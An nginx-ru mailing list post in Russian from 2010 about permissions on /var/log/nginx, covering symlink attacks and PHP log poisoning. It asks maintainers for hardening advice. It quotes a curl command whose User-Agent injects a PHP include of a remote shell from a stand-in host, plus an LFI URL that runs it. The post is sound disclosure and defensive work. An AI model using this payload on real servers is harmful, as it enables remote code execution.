/var/log/nginx

Gena Makhomed gmm на csdoc.com
Вт Дек 14 21:05:34 MSK 2010


Здравствуйте!

есть небольшие проблемы с /var/log/nginx

1. если владелец этого каталога nginx:nginx,
и права доступа 0700 - такая установка будет уязвима
к symlink attack, потому что лог-файлы в этом каталоге
master-процесс открывает на запись при запуске nginx
и он не делает никаких проверок symlink это или нет.

2. если владелец этого каталога root:root,
и права доступа 0755 - такая установка будет уязвима
к атаке "php local file inclusion vulnerability
elevation to remote code execution":

# curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/

# tail -n 1 /var/log/nginx/access.log
10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200 15777 
"-" "<? include 'http://hack.ru/shell.php' ?>"

и если запущенный на хосте PHP можно каким-то путем заставить сделать
include этого локального файла - выполнится код с удаленного сайта.
например, http://site.ru/index.php?file=/var/log/nginx/access.log

код "<? include 'http://hack.ru/shell.php' ?>"  приведен только
для примера, на самом деле, там может быть любой php-код, который
будет работать даже в случае если параметр allow_url_fopen = Off

3. если владелец этого каталога root:nginx,
и права доступа 0750 - на первый взгляд всё нормально,
однако если php-fastcgi входит в группу nginx,
или пользователь httpd входит в группу nginx,
то будет тот же результат, что и в п.2 - так что
это решение можно назвать ненадежным и частичным.

=========================================================================

хотелось бы услышать советы / рекомендации автора и разработчиков nginx
как именно лучше всего будет поступить maintainer`ам в этой ситуации:

- выставить на каталог владелец / права root:nginx 0750
и смириться с тем, что это решение не является 100%-ым,
потому что одновременно надо чтобы слишком много условий
совпало для того чтобы получить vulnerability elevation.

- пропатчить nginx чтобы master-процесс не открывал на запись файлы,
если это на самом деле symlink`и, чтобы устранить его восприимчивость
к symlink attack в этом случае и во всех остальных подобных случаях.
(если это symlink и файл надо открыть на запись - тогда unlink symlink)

- или какой-то другой вариант решения, чтобы получить 100% надежность.

-- 
Best regards,
  Gena




Подробная информация о списке рассылки nginx-ru